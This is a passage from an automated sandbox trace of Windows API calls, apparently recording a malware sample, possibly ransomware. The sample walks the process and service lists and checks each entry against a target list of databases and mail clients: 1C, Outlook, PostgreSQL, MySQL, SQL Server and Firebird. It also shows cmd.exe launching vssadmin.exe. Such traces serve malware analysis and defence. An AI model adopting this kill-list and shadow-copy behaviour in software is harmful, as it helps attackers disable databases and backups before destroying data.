lpString2="csrss.exe") returned 1 [0038.452] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0038.452] Process32NextW (in: hSnapshot=0x35c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0038.452] lstrlenW (lpString="wininit.exe") returned 11 [0038.452] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0038.452] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0038.452] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0038.453] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0038.453] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0038.453] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0038.453] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0038.453] Process32NextW (in: hSnapshot=0x35c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0038.453] lstrlenW (lpString="csrss.exe") returned 9 [0038.453] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0038.453] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0038.453] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0038.453] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0038.453] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0038.453] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0038.453] Process32NextW (in: hSnapshot=0x35c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0038.453] lstrlenW (lpString="winlogon.exe") returned 12 [0038.453] Process32NextW (in: hSnapshot=0x35c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0038.454] lstrlenW (lpString="services.exe") returned 12 [0038.454] Process32NextW (in: hSnapshot=0x35c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0038.454] lstrlenW (lpString="lsass.exe") returned 9 [0038.454] Process32NextW (in: hSnapshot=0x35c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0038.454] lstrlenW (lpString="lsm.exe") returned 7 [0038.454] Process32NextW (in: hSnapshot=0x35c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0038.455] lstrlenW (lpString="svchost.exe") returned 11 [0038.455] Process32NextW (in: hSnapshot=0x35c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0038.455] lstrlenW (lpString="svchost.exe") returned 11 [0038.455] Process32NextW (in: hSnapshot=0x35c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0038.455] lstrlenW (lpString="svchost.exe") returned 11 [0038.455] Process32NextW (in: hSnapshot=0x35c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0038.455] lstrlenW (lpString="svchost.exe") returned 11 [0038.456] Process32NextW (in: hSnapshot=0x35c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x27, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0038.456] lstrlenW (lpString="svchost.exe") returned 11 [0038.456] Process32NextW (in: hSnapshot=0x35c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0038.456] lstrlenW (lpString="audiodg.exe") returned 11 [0038.456] Process32NextW (in: hSnapshot=0x35c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0038.456] lstrlenW (lpString="svchost.exe") returned 11 [0038.456] Process32NextW (in: hSnapshot=0x35c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0038.457] lstrlenW (lpString="svchost.exe") returned 11 [0038.457] Process32NextW (in: hSnapshot=0x35c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0038.457] lstrlenW (lpString="dwm.exe") returned 7 [0038.457] Process32NextW (in: hSnapshot=0x35c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0038.457] lstrlenW (lpString="explorer.exe") returned 12 [0038.457] Process32NextW (in: hSnapshot=0x35c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0038.457] lstrlenW (lpString="spoolsv.exe") returned 11 [0038.458] Process32NextW (in: hSnapshot=0x35c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0038.458] lstrlenW (lpString="taskhost.exe") returned 12 [0038.458] Process32NextW (in: hSnapshot=0x35c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0038.458] lstrlenW (lpString="svchost.exe") returned 11 [0038.458] Process32NextW (in: hSnapshot=0x35c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0038.458] lstrlenW (lpString="taskeng.exe") returned 11 [0038.458] Process32NextW (in: hSnapshot=0x35c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0038.459] lstrlenW (lpString="taskhost.exe") returned 12 [0038.459] Process32NextW (in: hSnapshot=0x35c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="johnston-audit-transportation.exe")) returned 1 [0038.459] lstrlenW (lpString="johnston-audit-transportation.exe") returned 33 [0038.459] Process32NextW (in: hSnapshot=0x35c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="noticed.exe")) returned 1 [0038.459] lstrlenW (lpString="noticed.exe") returned 11 [0038.459] Process32NextW (in: hSnapshot=0x35c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="uploaded.exe")) returned 1 [0038.460] lstrlenW (lpString="uploaded.exe") returned 12 [0038.460] Process32NextW (in: hSnapshot=0x35c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x594, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="hardware.exe")) returned 1 [0038.460] lstrlenW (lpString="hardware.exe") returned 12 [0038.460] Process32NextW (in: hSnapshot=0x35c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="oracle.exe")) returned 1 [0038.460] lstrlenW (lpString="oracle.exe") returned 10 [0038.460] Process32NextW (in: hSnapshot=0x35c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="creativity.exe")) returned 1 [0038.460] lstrlenW (lpString="creativity.exe") returned 14 [0038.460] Process32NextW (in: hSnapshot=0x35c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x210, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="returnsaturdaystakeholders.exe")) returned 1 [0038.461] lstrlenW (lpString="returnsaturdaystakeholders.exe") returned 30 [0038.461] Process32NextW (in: hSnapshot=0x35c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="edited.exe")) returned 1 [0038.461] lstrlenW (lpString="edited.exe") returned 10 [0038.461] Process32NextW (in: hSnapshot=0x35c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x15c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="custody.exe")) returned 1 [0038.461] lstrlenW (lpString="custody.exe") returned 11 [0038.461] Process32NextW (in: hSnapshot=0x35c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x714, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="aggregate ver hawaii.exe")) returned 1 [0038.462] lstrlenW (lpString="aggregate ver hawaii.exe") returned 24 [0038.462] Process32NextW (in: hSnapshot=0x35c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="same_oxygen_researchers.exe")) returned 1 [0038.462] lstrlenW (lpString="same_oxygen_researchers.exe") returned 27 [0038.462] Process32NextW (in: hSnapshot=0x35c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="receipt affects separated.exe")) returned 1 [0038.462] lstrlenW (lpString="receipt affects separated.exe") returned 29 [0038.462] Process32NextW (in: hSnapshot=0x35c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="radius.exe")) returned 1 [0038.462] lstrlenW (lpString="radius.exe") returned 10 [0038.462] Process32NextW (in: hSnapshot=0x35c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="extensions.exe")) returned 1 [0038.463] lstrlenW (lpString="extensions.exe") returned 14 [0038.463] Process32NextW (in: hSnapshot=0x35c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x324, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="desperate.exe")) returned 1 [0038.463] lstrlenW (lpString="desperate.exe") returned 13 [0038.463] Process32NextW (in: hSnapshot=0x35c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x794, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="professor-mo.exe")) returned 1 [0038.463] lstrlenW (lpString="professor-mo.exe") returned 16 [0038.463] Process32NextW (in: hSnapshot=0x35c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x640, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="guidance.exe")) returned 1 [0038.464] lstrlenW (lpString="guidance.exe") returned 12 [0038.464] Process32NextW (in: hSnapshot=0x35c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="week.exe")) returned 1 [0038.464] lstrlenW (lpString="week.exe") returned 8 [0038.464] Process32NextW (in: hSnapshot=0x35c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="brazilian river delay.exe")) returned 1 [0038.464] lstrlenW (lpString="brazilian river delay.exe") returned 25 [0038.464] Process32NextW (in: hSnapshot=0x35c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x310, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sn featured.exe")) returned 1 [0038.464] lstrlenW (lpString="sn featured.exe") returned 15 [0038.464] Process32NextW (in: hSnapshot=0x35c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="edgar_academic_dvd.exe")) returned 1 [0038.465] lstrlenW (lpString="edgar_academic_dvd.exe") returned 22 [0038.465] Process32NextW (in: hSnapshot=0x35c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="floor_relate_welfare.exe")) returned 1 [0038.465] lstrlenW (lpString="floor_relate_welfare.exe") returned 24 [0038.465] Process32NextW (in: hSnapshot=0x35c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0038.465] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0038.465] Process32NextW (in: hSnapshot=0x35c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x950, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="ContinuumLoosely.exe")) returned 1 [0038.466] lstrlenW (lpString="ContinuumLoosely.exe") returned 20 [0038.466] Process32NextW (in: hSnapshot=0x35c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x964, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="mobsync.exe")) returned 1 [0038.466] lstrlenW (lpString="mobsync.exe") returned 11 [0038.466] Process32NextW (in: hSnapshot=0x35c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0038.466] lstrlenW (lpString="dllhost.exe") returned 11 [0038.466] Process32NextW (in: hSnapshot=0x35c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x950, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0038.466] lstrlenW (lpString="cmd.exe") returned 7 [0038.466] Process32NextW (in: hSnapshot=0x35c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0038.467] lstrlenW (lpString="conhost.exe") returned 11 [0038.467] Process32NextW (in: hSnapshot=0x35c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xab8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x9cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0038.467] lstrlenW (lpString="vssadmin.exe") returned 12 [0038.467] Process32NextW (in: hSnapshot=0x35c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xab8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x9cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 0 [0038.467] CloseHandle (hObject=0x35c) returned 1 [0038.467] Sleep (dwMilliseconds=0x1f4) [0039.269] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x3297b30 [0039.270] EnumServicesStatusExW (in: hSCManager=0x3297b30, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x34bff44, lpServicesReturned=0x34bff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x34bff44, lpServicesReturned=0x34bff5c, lpResumeHandle=0x0) returned 0 [0039.270] GetLastError () returned 0xea [0039.270] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x11e4) returned 0x32982a0 [0039.270] EnumServicesStatusExW (in: hSCManager=0x3297b30, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x32982a0, cbBufSize=0x11e4, pcbBytesNeeded=0x34bff44, lpServicesReturned=0x34bff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x32982a0, pcbBytesNeeded=0x34bff44, lpServicesReturned=0x34bff5c, lpResumeHandle=0x0) returned 1 [0039.271] CloseServiceHandle (hSCObject=0x3297b30) returned 1 [0039.271] lstrlenW (lpString="Appinfo") returned 7 [0039.271] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0039.271] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0039.271] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0039.271] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0039.271] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0039.271] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0039.271] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0039.271] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0039.271] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0039.271] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0039.271] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0039.271] lstrlenW (lpString="AudioSrv") returned 8 [0039.271] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0039.271] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0039.271] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0039.271] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0039.271] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0039.271] lstrlenW (lpString="BFE") returned 3 [0039.271] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0039.271] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0039.271] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0039.271] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0039.271] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0039.271] lstrlenW (lpString="CryptSvc") returned 8 [0039.271] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0039.271] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0039.271] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0039.271] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0039.272] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0039.272] lstrlenW (lpString="CscService") returned 10 [0039.272] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0039.272] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0039.272] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0039.272] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0039.272] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0039.272] lstrlenW (lpString="DcomLaunch") returned 10 [0039.272] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0039.272] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0039.272] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0039.272] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0039.272] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0039.272] lstrlenW (lpString="Dhcp") returned 4 [0039.272] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0039.272] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0039.272] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0039.272] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0039.272] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0039.272] lstrlenW (lpString="Dnscache") returned 8 [0039.272] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0039.272] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0039.272] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0039.272] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0039.272] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0039.272] lstrlenW (lpString="DPS") returned 3 [0039.272] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0039.272] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0039.272] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0039.272] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0039.272] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0039.272] lstrlenW (lpString="eventlog") returned 8 [0039.272] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0039.272] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0039.273] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0039.273] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0039.273] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 